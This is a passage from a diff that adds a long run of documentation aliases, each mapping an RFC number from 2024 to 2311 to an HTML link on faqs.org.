+                         "RFC2024=<a href=\"http://www.faqs.org/rfcs/rfc2024.html\">RFC 2024</a>" \
+                         "RFC2025=<a href=\"http://www.faqs.org/rfcs/rfc2025.html\">RFC 2025</a>" \
+                         "RFC2026=<a href=\"http://www.faqs.org/rfcs/rfc2026.html\">RFC 2026</a>" \
+                         "RFC2027=<a href=\"http://www.faqs.org/rfcs/rfc2027.html\">RFC 2027</a>" \
+                         "RFC2028=<a href=\"http://www.faqs.org/rfcs/rfc2028.html\">RFC 2028</a>" \
+                         "RFC2029=<a href=\"http://www.faqs.org/rfcs/rfc2029.html\">RFC 2029</a>" \
+                         "RFC2030=<a href=\"http://www.faqs.org/rfcs/rfc2030.html\">RFC 2030</a>" \
+                         "RFC2031=<a href=\"http://www.faqs.org/rfcs/rfc2031.html\">RFC 2031</a>" \
+                         "RFC2032=<a href=\"http://www.faqs.org/rfcs/rfc2032.html\">RFC 2032</a>" \
+                         "RFC2033=<a href=\"http://www.faqs.org/rfcs/rfc2033.html\">RFC 2033</a>" \
+                         "RFC2034=<a href=\"http://www.faqs.org/rfcs/rfc2034.html\">RFC 2034</a>" \
+                         "RFC2035=<a href=\"http://www.faqs.org/rfcs/rfc2035.html\">RFC 2035</a>" \
+                         "RFC2036=<a href=\"http://www.faqs.org/rfcs/rfc2036.html\">RFC 2036</a>" \
+                         "RFC2037=<a href=\"http://www.faqs.org/rfcs/rfc2037.html\">RFC 2037</a>" \
+                         "RFC2038=<a href=\"http://www.faqs.org/rfcs/rfc2038.html\">RFC 2038</a>" \
+                         "RFC2039=<a href=\"http://www.faqs.org/rfcs/rfc2039.html\">RFC 2039</a>" \
+                         "RFC2040=<a href=\"http://www.faqs.org/rfcs/rfc2040.html\">RFC 2040</a>" \
+                         "RFC2041=<a href=\"http://www.faqs.org/rfcs/rfc2041.html\">RFC 2041</a>" \
+                         "RFC2042=<a href=\"http://www.faqs.org/rfcs/rfc2042.html\">RFC 2042</a>" \
+                         "RFC2043=<a href=\"http://www.faqs.org/rfcs/rfc2043.html\">RFC 2043</a>" \
+                         "RFC2044=<a href=\"http://www.faqs.org/rfcs/rfc2044.html\">RFC 2044</a>" \
+                         "RFC2045=<a href=\"http://www.faqs.org/rfcs/rfc2045.html\">RFC 2045</a>" \
+                         "RFC2046=<a href=\"http://www.faqs.org/rfcs/rfc2046.html\">RFC 2046</a>" \
+                         "RFC2047=<a href=\"http://www.faqs.org/rfcs/rfc2047.html\">RFC 2047</a>" \
+                         "RFC2048=<a href=\"http://www.faqs.org/rfcs/rfc2048.html\">RFC 2048</a>" \
+                         "RFC2049=<a href=\"http://www.faqs.org/rfcs/rfc2049.html\">RFC 2049</a>" \
+                         "RFC2050=<a href=\"http://www.faqs.org/rfcs/rfc2050.html\">RFC 2050</a>" \
+                         "RFC2051=<a href=\"http://www.faqs.org/rfcs/rfc2051.html\">RFC 2051</a>" \
+                         "RFC2052=<a href=\"http://www.faqs.org/rfcs/rfc2052.html\">RFC 2052</a>" \
+                         "RFC2053=<a href=\"http://www.faqs.org/rfcs/rfc2053.html\">RFC 2053</a>" \
+                         "RFC2054=<a href=\"http://www.faqs.org/rfcs/rfc2054.html\">RFC 2054</a>" \
+                         "RFC2055=<a href=\"http://www.faqs.org/rfcs/rfc2055.html\">RFC 2055</a>" \
+                         "RFC2056=<a href=\"http://www.faqs.org/rfcs/rfc2056.html\">RFC 2056</a>" \
+                         "RFC2057=<a href=\"http://www.faqs.org/rfcs/rfc2057.html\">RFC 2057</a>" \
+                         "RFC2058=<a href=\"http://www.faqs.org/rfcs/rfc2058.html\">RFC 2058</a>" \
+                         "RFC2059=<a href=\"http://www.faqs.org/rfcs/rfc2059.html\">RFC 2059</a>" \
+                         "RFC2060=<a href=\"http://www.faqs.org/rfcs/rfc2060.html\">RFC 2060</a>" \
+                         "RFC2061=<a href=\"http://www.faqs.org/rfcs/rfc2061.html\">RFC 2061</a>" \
+                         "RFC2062=<a href=\"http://www.faqs.org/rfcs/rfc2062.html\">RFC 2062</a>" \
+                         "RFC2063=<a href=\"http://www.faqs.org/rfcs/rfc2063.html\">RFC 2063</a>" \
+                         "RFC2064=<a href=\"http://www.faqs.org/rfcs/rfc2064.html\">RFC 2064</a>" \
+                         "RFC2065=<a href=\"http://www.faqs.org/rfcs/rfc2065.html\">RFC 2065</a>" \
+                         "RFC2066=<a href=\"http://www.faqs.org/rfcs/rfc2066.html\">RFC 2066</a>" \
+                         "RFC2067=<a href=\"http://www.faqs.org/rfcs/rfc2067.html\">RFC 2067</a>" \
+                         "RFC2068=<a href=\"http://www.faqs.org/rfcs/rfc2068.html\">RFC 2068</a>" \
+                         "RFC2069=<a href=\"http://www.faqs.org/rfcs/rfc2069.html\">RFC 2069</a>" \
+                         "RFC2070=<a href=\"http://www.faqs.org/rfcs/rfc2070.html\">RFC 2070</a>" \
+                         "RFC2071=<a href=\"http://www.faqs.org/rfcs/rfc2071.html\">RFC 2071</a>" \
+                         "RFC2072=<a href=\"http://www.faqs.org/rfcs/rfc2072.html\">RFC 2072</a>" \
+                         "RFC2073=<a href=\"http://www.faqs.org/rfcs/rfc2073.html\">RFC 2073</a>" \
+                         "RFC2074=<a href=\"http://www.faqs.org/rfcs/rfc2074.html\">RFC 2074</a>" \
+                         "RFC2075=<a href=\"http://www.faqs.org/rfcs/rfc2075.html\">RFC 2075</a>" \
+                         "RFC2076=<a href=\"http://www.faqs.org/rfcs/rfc2076.html\">RFC 2076</a>" \
+                         "RFC2077=<a href=\"http://www.faqs.org/rfcs/rfc2077.html\">RFC 2077</a>" \
+                         "RFC2078=<a href=\"http://www.faqs.org/rfcs/rfc2078.html\">RFC 2078</a>" \
+                         "RFC2079=<a href=\"http://www.faqs.org/rfcs/rfc2079.html\">RFC 2079</a>" \
+                         "RFC2080=<a href=\"http://www.faqs.org/rfcs/rfc2080.html\">RFC 2080</a>" \
+                         "RFC2081=<a href=\"http://www.faqs.org/rfcs/rfc2081.html\">RFC 2081</a>" \
+                         "RFC2082=<a href=\"http://www.faqs.org/rfcs/rfc2082.html\">RFC 2082</a>" \
+                         "RFC2083=<a href=\"http://www.faqs.org/rfcs/rfc2083.html\">RFC 2083</a>" \
+                         "RFC2084=<a href=\"http://www.faqs.org/rfcs/rfc2084.html\">RFC 2084</a>" \
+                         "RFC2085=<a href=\"http://www.faqs.org/rfcs/rfc2085.html\">RFC 2085</a>" \
+                         "RFC2086=<a href=\"http://www.faqs.org/rfcs/rfc2086.html\">RFC 2086</a>" \
+                         "RFC2087=<a href=\"http://www.faqs.org/rfcs/rfc2087.html\">RFC 2087</a>" \
+                         "RFC2088=<a href=\"http://www.faqs.org/rfcs/rfc2088.html\">RFC 2088</a>" \
+                         "RFC2089=<a href=\"http://www.faqs.org/rfcs/rfc2089.html\">RFC 2089</a>" \
+                         "RFC2090=<a href=\"http://www.faqs.org/rfcs/rfc2090.html\">RFC 2090</a>" \
+                         "RFC2091=<a href=\"http://www.faqs.org/rfcs/rfc2091.html\">RFC 2091</a>" \
+                         "RFC2092=<a href=\"http://www.faqs.org/rfcs/rfc2092.html\">RFC 2092</a>" \
+                         "RFC2093=<a href=\"http://www.faqs.org/rfcs/rfc2093.html\">RFC 2093</a>" \
+                         "RFC2094=<a href=\"http://www.faqs.org/rfcs/rfc2094.html\">RFC 2094</a>" \
+                         "RFC2095=<a href=\"http://www.faqs.org/rfcs/rfc2095.html\">RFC 2095</a>" \
+                         "RFC2096=<a href=\"http://www.faqs.org/rfcs/rfc2096.html\">RFC 2096</a>" \
+                         "RFC2097=<a href=\"http://www.faqs.org/rfcs/rfc2097.html\">RFC 2097</a>" \
+                         "RFC2098=<a href=\"http://www.faqs.org/rfcs/rfc2098.html\">RFC 2098</a>" \
+                         "RFC2099=<a href=\"http://www.faqs.org/rfcs/rfc2099.html\">RFC 2099</a>" \
+                         "RFC2100=<a href=\"http://www.faqs.org/rfcs/rfc2100.html\">RFC 2100</a>" \
+                         "RFC2101=<a href=\"http://www.faqs.org/rfcs/rfc2101.html\">RFC 2101</a>" \
+                         "RFC2102=<a href=\"http://www.faqs.org/rfcs/rfc2102.html\">RFC 2102</a>" \
+                         "RFC2103=<a href=\"http://www.faqs.org/rfcs/rfc2103.html\">RFC 2103</a>" \
+                         "RFC2104=<a href=\"http://www.faqs.org/rfcs/rfc2104.html\">RFC 2104</a>" \
+                         "RFC2105=<a href=\"http://www.faqs.org/rfcs/rfc2105.html\">RFC 2105</a>" \
+                         "RFC2106=<a href=\"http://www.faqs.org/rfcs/rfc2106.html\">RFC 2106</a>" \
+                         "RFC2107=<a href=\"http://www.faqs.org/rfcs/rfc2107.html\">RFC 2107</a>" \
+                         "RFC2108=<a href=\"http://www.faqs.org/rfcs/rfc2108.html\">RFC 2108</a>" \
+                         "RFC2109=<a href=\"http://www.faqs.org/rfcs/rfc2109.html\">RFC 2109</a>" \
+                         "RFC2110=<a href=\"http://www.faqs.org/rfcs/rfc2110.html\">RFC 2110</a>" \
+                         "RFC2111=<a href=\"http://www.faqs.org/rfcs/rfc2111.html\">RFC 2111</a>" \
+                         "RFC2112=<a href=\"http://www.faqs.org/rfcs/rfc2112.html\">RFC 2112</a>" \
+                         "RFC2113=<a href=\"http://www.faqs.org/rfcs/rfc2113.html\">RFC 2113</a>" \
+                         "RFC2114=<a href=\"http://www.faqs.org/rfcs/rfc2114.html\">RFC 2114</a>" \
+                         "RFC2115=<a href=\"http://www.faqs.org/rfcs/rfc2115.html\">RFC 2115</a>" \
+                         "RFC2116=<a href=\"http://www.faqs.org/rfcs/rfc2116.html\">RFC 2116</a>" \
+                         "RFC2117=<a href=\"http://www.faqs.org/rfcs/rfc2117.html\">RFC 2117</a>" \
+                         "RFC2118=<a href=\"http://www.faqs.org/rfcs/rfc2118.html\">RFC 2118</a>" \
+                         "RFC2119=<a href=\"http://www.faqs.org/rfcs/rfc2119.html\">RFC 2119</a>" \
+                         "RFC2120=<a href=\"http://www.faqs.org/rfcs/rfc2120.html\">RFC 2120</a>" \
+                         "RFC2121=<a href=\"http://www.faqs.org/rfcs/rfc2121.html\">RFC 2121</a>" \
+                         "RFC2122=<a href=\"http://www.faqs.org/rfcs/rfc2122.html\">RFC 2122</a>" \
+                         "RFC2123=<a href=\"http://www.faqs.org/rfcs/rfc2123.html\">RFC 2123</a>" \
+                         "RFC2124=<a href=\"http://www.faqs.org/rfcs/rfc2124.html\">RFC 2124</a>" \
+                         "RFC2125=<a href=\"http://www.faqs.org/rfcs/rfc2125.html\">RFC 2125</a>" \
+                         "RFC2126=<a href=\"http://www.faqs.org/rfcs/rfc2126.html\">RFC 2126</a>" \
+                         "RFC2127=<a href=\"http://www.faqs.org/rfcs/rfc2127.html\">RFC 2127</a>" \
+                         "RFC2128=<a href=\"http://www.faqs.org/rfcs/rfc2128.html\">RFC 2128</a>" \
+                         "RFC2129=<a href=\"http://www.faqs.org/rfcs/rfc2129.html\">RFC 2129</a>" \
+                         "RFC2130=<a href=\"http://www.faqs.org/rfcs/rfc2130.html\">RFC 2130</a>" \
+                         "RFC2131=<a href=\"http://www.faqs.org/rfcs/rfc2131.html\">RFC 2131</a>" \
+                         "RFC2132=<a href=\"http://www.faqs.org/rfcs/rfc2132.html\">RFC 2132</a>" \
+                         "RFC2133=<a href=\"http://www.faqs.org/rfcs/rfc2133.html\">RFC 2133</a>" \
+                         "RFC2134=<a href=\"http://www.faqs.org/rfcs/rfc2134.html\">RFC 2134</a>" \
+                         "RFC2135=<a href=\"http://www.faqs.org/rfcs/rfc2135.html\">RFC 2135</a>" \
+                         "RFC2136=<a href=\"http://www.faqs.org/rfcs/rfc2136.html\">RFC 2136</a>" \
+                         "RFC2137=<a href=\"http://www.faqs.org/rfcs/rfc2137.html\">RFC 2137</a>" \
+                         "RFC2138=<a href=\"http://www.faqs.org/rfcs/rfc2138.html\">RFC 2138</a>" \
+                         "RFC2139=<a href=\"http://www.faqs.org/rfcs/rfc2139.html\">RFC 2139</a>" \
+                         "RFC2140=<a href=\"http://www.faqs.org/rfcs/rfc2140.html\">RFC 2140</a>" \
+                         "RFC2141=<a href=\"http://www.faqs.org/rfcs/rfc2141.html\">RFC 2141</a>" \
+                         "RFC2142=<a href=\"http://www.faqs.org/rfcs/rfc2142.html\">RFC 2142</a>" \
+                         "RFC2143=<a href=\"http://www.faqs.org/rfcs/rfc2143.html\">RFC 2143</a>" \
+                         "RFC2144=<a href=\"http://www.faqs.org/rfcs/rfc2144.html\">RFC 2144</a>" \
+                         "RFC2145=<a href=\"http://www.faqs.org/rfcs/rfc2145.html\">RFC 2145</a>" \
+                         "RFC2146=<a href=\"http://www.faqs.org/rfcs/rfc2146.html\">RFC 2146</a>" \
+                         "RFC2147=<a href=\"http://www.faqs.org/rfcs/rfc2147.html\">RFC 2147</a>" \
+                         "RFC2148=<a href=\"http://www.faqs.org/rfcs/rfc2148.html\">RFC 2148</a>" \
+                         "RFC2149=<a href=\"http://www.faqs.org/rfcs/rfc2149.html\">RFC 2149</a>" \
+                         "RFC2150=<a href=\"http://www.faqs.org/rfcs/rfc2150.html\">RFC 2150</a>" \
+                         "RFC2151=<a href=\"http://www.faqs.org/rfcs/rfc2151.html\">RFC 2151</a>" \
+                         "RFC2152=<a href=\"http://www.faqs.org/rfcs/rfc2152.html\">RFC 2152</a>" \
+                         "RFC2153=<a href=\"http://www.faqs.org/rfcs/rfc2153.html\">RFC 2153</a>" \
+                         "RFC2154=<a href=\"http://www.faqs.org/rfcs/rfc2154.html\">RFC 2154</a>" \
+                         "RFC2155=<a href=\"http://www.faqs.org/rfcs/rfc2155.html\">RFC 2155</a>" \
+                         "RFC2156=<a href=\"http://www.faqs.org/rfcs/rfc2156.html\">RFC 2156</a>" \
+                         "RFC2157=<a href=\"http://www.faqs.org/rfcs/rfc2157.html\">RFC 2157</a>" \
+                         "RFC2158=<a href=\"http://www.faqs.org/rfcs/rfc2158.html\">RFC 2158</a>" \
+                         "RFC2159=<a href=\"http://www.faqs.org/rfcs/rfc2159.html\">RFC 2159</a>" \
+                         "RFC2160=<a href=\"http://www.faqs.org/rfcs/rfc2160.html\">RFC 2160</a>" \
+                         "RFC2161=<a href=\"http://www.faqs.org/rfcs/rfc2161.html\">RFC 2161</a>" \
+                         "RFC2162=<a href=\"http://www.faqs.org/rfcs/rfc2162.html\">RFC 2162</a>" \
+                         "RFC2163=<a href=\"http://www.faqs.org/rfcs/rfc2163.html\">RFC 2163</a>" \
+                         "RFC2164=<a href=\"http://www.faqs.org/rfcs/rfc2164.html\">RFC 2164</a>" \
+                         "RFC2165=<a href=\"http://www.faqs.org/rfcs/rfc2165.html\">RFC 2165</a>" \
+                         "RFC2166=<a href=\"http://www.faqs.org/rfcs/rfc2166.html\">RFC 2166</a>" \
+                         "RFC2167=<a href=\"http://www.faqs.org/rfcs/rfc2167.html\">RFC 2167</a>" \
+                         "RFC2168=<a href=\"http://www.faqs.org/rfcs/rfc2168.html\">RFC 2168</a>" \
+                         "RFC2169=<a href=\"http://www.faqs.org/rfcs/rfc2169.html\">RFC 2169</a>" \
+                         "RFC2170=<a href=\"http://www.faqs.org/rfcs/rfc2170.html\">RFC 2170</a>" \
+                         "RFC2171=<a href=\"http://www.faqs.org/rfcs/rfc2171.html\">RFC 2171</a>" \
+                         "RFC2172=<a href=\"http://www.faqs.org/rfcs/rfc2172.html\">RFC 2172</a>" \
+                         "RFC2173=<a href=\"http://www.faqs.org/rfcs/rfc2173.html\">RFC 2173</a>" \
+                         "RFC2174=<a href=\"http://www.faqs.org/rfcs/rfc2174.html\">RFC 2174</a>" \
+                         "RFC2175=<a href=\"http://www.faqs.org/rfcs/rfc2175.html\">RFC 2175</a>" \
+                         "RFC2176=<a href=\"http://www.faqs.org/rfcs/rfc2176.html\">RFC 2176</a>" \
+                         "RFC2177=<a href=\"http://www.faqs.org/rfcs/rfc2177.html\">RFC 2177</a>" \
+                         "RFC2178=<a href=\"http://www.faqs.org/rfcs/rfc2178.html\">RFC 2178</a>" \
+                         "RFC2179=<a href=\"http://www.faqs.org/rfcs/rfc2179.html\">RFC 2179</a>" \
+                         "RFC2180=<a href=\"http://www.faqs.org/rfcs/rfc2180.html\">RFC 2180</a>" \
+                         "RFC2181=<a href=\"http://www.faqs.org/rfcs/rfc2181.html\">RFC 2181</a>" \
+                         "RFC2182=<a href=\"http://www.faqs.org/rfcs/rfc2182.html\">RFC 2182</a>" \
+                         "RFC2183=<a href=\"http://www.faqs.org/rfcs/rfc2183.html\">RFC 2183</a>" \
+                         "RFC2184=<a href=\"http://www.faqs.org/rfcs/rfc2184.html\">RFC 2184</a>" \
+                         "RFC2185=<a href=\"http://www.faqs.org/rfcs/rfc2185.html\">RFC 2185</a>" \
+                         "RFC2186=<a href=\"http://www.faqs.org/rfcs/rfc2186.html\">RFC 2186</a>" \
+                         "RFC2187=<a href=\"http://www.faqs.org/rfcs/rfc2187.html\">RFC 2187</a>" \
+                         "RFC2188=<a href=\"http://www.faqs.org/rfcs/rfc2188.html\">RFC 2188</a>" \
+                         "RFC2189=<a href=\"http://www.faqs.org/rfcs/rfc2189.html\">RFC 2189</a>" \
+                         "RFC2190=<a href=\"http://www.faqs.org/rfcs/rfc2190.html\">RFC 2190</a>" \
+                         "RFC2191=<a href=\"http://www.faqs.org/rfcs/rfc2191.html\">RFC 2191</a>" \
+                         "RFC2192=<a href=\"http://www.faqs.org/rfcs/rfc2192.html\">RFC 2192</a>" \
+                         "RFC2193=<a href=\"http://www.faqs.org/rfcs/rfc2193.html\">RFC 2193</a>" \
+                         "RFC2194=<a href=\"http://www.faqs.org/rfcs/rfc2194.html\">RFC 2194</a>" \
+                         "RFC2195=<a href=\"http://www.faqs.org/rfcs/rfc2195.html\">RFC 2195</a>" \
+                         "RFC2196=<a href=\"http://www.faqs.org/rfcs/rfc2196.html\">RFC 2196</a>" \
+                         "RFC2197=<a href=\"http://www.faqs.org/rfcs/rfc2197.html\">RFC 2197</a>" \
+                         "RFC2198=<a href=\"http://www.faqs.org/rfcs/rfc2198.html\">RFC 2198</a>" \
+                         "RFC2199=<a href=\"http://www.faqs.org/rfcs/rfc2199.html\">RFC 2199</a>" \
+                         "RFC2200=<a href=\"http://www.faqs.org/rfcs/rfc2200.html\">RFC 2200</a>" \
+                         "RFC2201=<a href=\"http://www.faqs.org/rfcs/rfc2201.html\">RFC 2201</a>" \
+                         "RFC2202=<a href=\"http://www.faqs.org/rfcs/rfc2202.html\">RFC 2202</a>" \
+                         "RFC2203=<a href=\"http://www.faqs.org/rfcs/rfc2203.html\">RFC 2203</a>" \
+                         "RFC2204=<a href=\"http://www.faqs.org/rfcs/rfc2204.html\">RFC 2204</a>" \
+                         "RFC2205=<a href=\"http://www.faqs.org/rfcs/rfc2205.html\">RFC 2205</a>" \
+                         "RFC2206=<a href=\"http://www.faqs.org/rfcs/rfc2206.html\">RFC 2206</a>" \
+                         "RFC2207=<a href=\"http://www.faqs.org/rfcs/rfc2207.html\">RFC 2207</a>" \
+                         "RFC2208=<a href=\"http://www.faqs.org/rfcs/rfc2208.html\">RFC 2208</a>" \
+                         "RFC2209=<a href=\"http://www.faqs.org/rfcs/rfc2209.html\">RFC 2209</a>" \
+                         "RFC2210=<a href=\"http://www.faqs.org/rfcs/rfc2210.html\">RFC 2210</a>" \
+                         "RFC2211=<a href=\"http://www.faqs.org/rfcs/rfc2211.html\">RFC 2211</a>" \
+                         "RFC2212=<a href=\"http://www.faqs.org/rfcs/rfc2212.html\">RFC 2212</a>" \
+                         "RFC2213=<a href=\"http://www.faqs.org/rfcs/rfc2213.html\">RFC 2213</a>" \
+                         "RFC2214=<a href=\"http://www.faqs.org/rfcs/rfc2214.html\">RFC 2214</a>" \
+                         "RFC2215=<a href=\"http://www.faqs.org/rfcs/rfc2215.html\">RFC 2215</a>" \
+                         "RFC2216=<a href=\"http://www.faqs.org/rfcs/rfc2216.html\">RFC 2216</a>" \
+                         "RFC2217=<a href=\"http://www.faqs.org/rfcs/rfc2217.html\">RFC 2217</a>" \
+                         "RFC2218=<a href=\"http://www.faqs.org/rfcs/rfc2218.html\">RFC 2218</a>" \
+                         "RFC2219=<a href=\"http://www.faqs.org/rfcs/rfc2219.html\">RFC 2219</a>" \
+                         "RFC2220=<a href=\"http://www.faqs.org/rfcs/rfc2220.html\">RFC 2220</a>" \
+                         "RFC2221=<a href=\"http://www.faqs.org/rfcs/rfc2221.html\">RFC 2221</a>" \
+                         "RFC2222=<a href=\"http://www.faqs.org/rfcs/rfc2222.html\">RFC 2222</a>" \
+                         "RFC2223=<a href=\"http://www.faqs.org/rfcs/rfc2223.html\">RFC 2223</a>" \
+                         "RFC2224=<a href=\"http://www.faqs.org/rfcs/rfc2224.html\">RFC 2224</a>" \
+                         "RFC2225=<a href=\"http://www.faqs.org/rfcs/rfc2225.html\">RFC 2225</a>" \
+                         "RFC2226=<a href=\"http://www.faqs.org/rfcs/rfc2226.html\">RFC 2226</a>" \
+                         "RFC2227=<a href=\"http://www.faqs.org/rfcs/rfc2227.html\">RFC 2227</a>" \
+                         "RFC2228=<a href=\"http://www.faqs.org/rfcs/rfc2228.html\">RFC 2228</a>" \
+                         "RFC2229=<a href=\"http://www.faqs.org/rfcs/rfc2229.html\">RFC 2229</a>" \
+                         "RFC2230=<a href=\"http://www.faqs.org/rfcs/rfc2230.html\">RFC 2230</a>" \
+                         "RFC2231=<a href=\"http://www.faqs.org/rfcs/rfc2231.html\">RFC 2231</a>" \
+                         "RFC2232=<a href=\"http://www.faqs.org/rfcs/rfc2232.html\">RFC 2232</a>" \
+                         "RFC2233=<a href=\"http://www.faqs.org/rfcs/rfc2233.html\">RFC 2233</a>" \
+                         "RFC2234=<a href=\"http://www.faqs.org/rfcs/rfc2234.html\">RFC 2234</a>" \
+                         "RFC2235=<a href=\"http://www.faqs.org/rfcs/rfc2235.html\">RFC 2235</a>" \
+                         "RFC2236=<a href=\"http://www.faqs.org/rfcs/rfc2236.html\">RFC 2236</a>" \
+                         "RFC2237=<a href=\"http://www.faqs.org/rfcs/rfc2237.html\">RFC 2237</a>" \
+                         "RFC2238=<a href=\"http://www.faqs.org/rfcs/rfc2238.html\">RFC 2238</a>" \
+                         "RFC2239=<a href=\"http://www.faqs.org/rfcs/rfc2239.html\">RFC 2239</a>" \
+                         "RFC2240=<a href=\"http://www.faqs.org/rfcs/rfc2240.html\">RFC 2240</a>" \
+                         "RFC2241=<a href=\"http://www.faqs.org/rfcs/rfc2241.html\">RFC 2241</a>" \
+                         "RFC2242=<a href=\"http://www.faqs.org/rfcs/rfc2242.html\">RFC 2242</a>" \
+                         "RFC2243=<a href=\"http://www.faqs.org/rfcs/rfc2243.html\">RFC 2243</a>" \
+                         "RFC2244=<a href=\"http://www.faqs.org/rfcs/rfc2244.html\">RFC 2244</a>" \
+                         "RFC2245=<a href=\"http://www.faqs.org/rfcs/rfc2245.html\">RFC 2245</a>" \
+                         "RFC2246=<a href=\"http://www.faqs.org/rfcs/rfc2246.html\">RFC 2246</a>" \
+                         "RFC2247=<a href=\"http://www.faqs.org/rfcs/rfc2247.html\">RFC 2247</a>" \
+                         "RFC2248=<a href=\"http://www.faqs.org/rfcs/rfc2248.html\">RFC 2248</a>" \
+                         "RFC2249=<a href=\"http://www.faqs.org/rfcs/rfc2249.html\">RFC 2249</a>" \
+                         "RFC2250=<a href=\"http://www.faqs.org/rfcs/rfc2250.html\">RFC 2250</a>" \
+                         "RFC2251=<a href=\"http://www.faqs.org/rfcs/rfc2251.html\">RFC 2251</a>" \
+                         "RFC2252=<a href=\"http://www.faqs.org/rfcs/rfc2252.html\">RFC 2252</a>" \
+                         "RFC2253=<a href=\"http://www.faqs.org/rfcs/rfc2253.html\">RFC 2253</a>" \
+                         "RFC2254=<a href=\"http://www.faqs.org/rfcs/rfc2254.html\">RFC 2254</a>" \
+                         "RFC2255=<a href=\"http://www.faqs.org/rfcs/rfc2255.html\">RFC 2255</a>" \
+                         "RFC2256=<a href=\"http://www.faqs.org/rfcs/rfc2256.html\">RFC 2256</a>" \
+                         "RFC2257=<a href=\"http://www.faqs.org/rfcs/rfc2257.html\">RFC 2257</a>" \
+                         "RFC2258=<a href=\"http://www.faqs.org/rfcs/rfc2258.html\">RFC 2258</a>" \
+                         "RFC2259=<a href=\"http://www.faqs.org/rfcs/rfc2259.html\">RFC 2259</a>" \
+                         "RFC2260=<a href=\"http://www.faqs.org/rfcs/rfc2260.html\">RFC 2260</a>" \
+                         "RFC2261=<a href=\"http://www.faqs.org/rfcs/rfc2261.html\">RFC 2261</a>" \
+                         "RFC2262=<a href=\"http://www.faqs.org/rfcs/rfc2262.html\">RFC 2262</a>" \
+                         "RFC2263=<a href=\"http://www.faqs.org/rfcs/rfc2263.html\">RFC 2263</a>" \
+                         "RFC2264=<a href=\"http://www.faqs.org/rfcs/rfc2264.html\">RFC 2264</a>" \
+                         "RFC2265=<a href=\"http://www.faqs.org/rfcs/rfc2265.html\">RFC 2265</a>" \
+                         "RFC2266=<a href=\"http://www.faqs.org/rfcs/rfc2266.html\">RFC 2266</a>" \
+                         "RFC2267=<a href=\"http://www.faqs.org/rfcs/rfc2267.html\">RFC 2267</a>" \
+                         "RFC2268=<a href=\"http://www.faqs.org/rfcs/rfc2268.html\">RFC 2268</a>" \
+                         "RFC2269=<a href=\"http://www.faqs.org/rfcs/rfc2269.html\">RFC 2269</a>" \
+                         "RFC2270=<a href=\"http://www.faqs.org/rfcs/rfc2270.html\">RFC 2270</a>" \
+                         "RFC2271=<a href=\"http://www.faqs.org/rfcs/rfc2271.html\">RFC 2271</a>" \
+                         "RFC2272=<a href=\"http://www.faqs.org/rfcs/rfc2272.html\">RFC 2272</a>" \
+                         "RFC2273=<a href=\"http://www.faqs.org/rfcs/rfc2273.html\">RFC 2273</a>" \
+                         "RFC2274=<a href=\"http://www.faqs.org/rfcs/rfc2274.html\">RFC 2274</a>" \
+                         "RFC2275=<a href=\"http://www.faqs.org/rfcs/rfc2275.html\">RFC 2275</a>" \
+                         "RFC2276=<a href=\"http://www.faqs.org/rfcs/rfc2276.html\">RFC 2276</a>" \
+                         "RFC2277=<a href=\"http://www.faqs.org/rfcs/rfc2277.html\">RFC 2277</a>" \
+                         "RFC2278=<a href=\"http://www.faqs.org/rfcs/rfc2278.html\">RFC 2278</a>" \
+                         "RFC2279=<a href=\"http://www.faqs.org/rfcs/rfc2279.html\">RFC 2279</a>" \
+                         "RFC2280=<a href=\"http://www.faqs.org/rfcs/rfc2280.html\">RFC 2280</a>" \
+                         "RFC2281=<a href=\"http://www.faqs.org/rfcs/rfc2281.html\">RFC 2281</a>" \
+                         "RFC2282=<a href=\"http://www.faqs.org/rfcs/rfc2282.html\">RFC 2282</a>" \
+                         "RFC2283=<a href=\"http://www.faqs.org/rfcs/rfc2283.html\">RFC 2283</a>" \
+                         "RFC2284=<a href=\"http://www.faqs.org/rfcs/rfc2284.html\">RFC 2284</a>" \
+                         "RFC2285=<a href=\"http://www.faqs.org/rfcs/rfc2285.html\">RFC 2285</a>" \
+                         "RFC2286=<a href=\"http://www.faqs.org/rfcs/rfc2286.html\">RFC 2286</a>" \
+                         "RFC2287=<a href=\"http://www.faqs.org/rfcs/rfc2287.html\">RFC 2287</a>" \
+                         "RFC2288=<a href=\"http://www.faqs.org/rfcs/rfc2288.html\">RFC 2288</a>" \
+                         "RFC2289=<a href=\"http://www.faqs.org/rfcs/rfc2289.html\">RFC 2289</a>" \
+                         "RFC2290=<a href=\"http://www.faqs.org/rfcs/rfc2290.html\">RFC 2290</a>" \
+                         "RFC2291=<a href=\"http://www.faqs.org/rfcs/rfc2291.html\">RFC 2291</a>" \
+                         "RFC2292=<a href=\"http://www.faqs.org/rfcs/rfc2292.html\">RFC 2292</a>" \
+                         "RFC2293=<a href=\"http://www.faqs.org/rfcs/rfc2293.html\">RFC 2293</a>" \
+                         "RFC2294=<a href=\"http://www.faqs.org/rfcs/rfc2294.html\">RFC 2294</a>" \
+                         "RFC2295=<a href=\"http://www.faqs.org/rfcs/rfc2295.html\">RFC 2295</a>" \
+                         "RFC2296=<a href=\"http://www.faqs.org/rfcs/rfc2296.html\">RFC 2296</a>" \
+                         "RFC2297=<a href=\"http://www.faqs.org/rfcs/rfc2297.html\">RFC 2297</a>" \
+                         "RFC2298=<a href=\"http://www.faqs.org/rfcs/rfc2298.html\">RFC 2298</a>" \
+                         "RFC2299=<a href=\"http://www.faqs.org/rfcs/rfc2299.html\">RFC 2299</a>" \
+                         "RFC2300=<a href=\"http://www.faqs.org/rfcs/rfc2300.html\">RFC 2300</a>" \
+                         "RFC2301=<a href=\"http://www.faqs.org/rfcs/rfc2301.html\">RFC 2301</a>" \
+                         "RFC2302=<a href=\"http://www.faqs.org/rfcs/rfc2302.html\">RFC 2302</a>" \
+                         "RFC2303=<a href=\"http://www.faqs.org/rfcs/rfc2303.html\">RFC 2303</a>" \
+                         "RFC2304=<a href=\"http://www.faqs.org/rfcs/rfc2304.html\">RFC 2304</a>" \
+                         "RFC2305=<a href=\"http://www.faqs.org/rfcs/rfc2305.html\">RFC 2305</a>" \
+                         "RFC2306=<a href=\"http://www.faqs.org/rfcs/rfc2306.html\">RFC 2306</a>" \
+                         "RFC2307=<a href=\"http://www.faqs.org/rfcs/rfc2307.html\">RFC 2307</a>" \
+                         "RFC2308=<a href=\"http://www.faqs.org/rfcs/rfc2308.html\">RFC 2308</a>" \
+                         "RFC2309=<a href=\"http://www.faqs.org/rfcs/rfc2309.html\">RFC 2309</a>" \
+                         "RFC2310=<a href=\"http://www.faqs.org/rfcs/rfc2310.html\">RFC 2310</a>" \
+                         "RFC2311=<a href=\"http://www.faqs.org/rfcs/rfc2311.html\">RFC 2311</a>" \
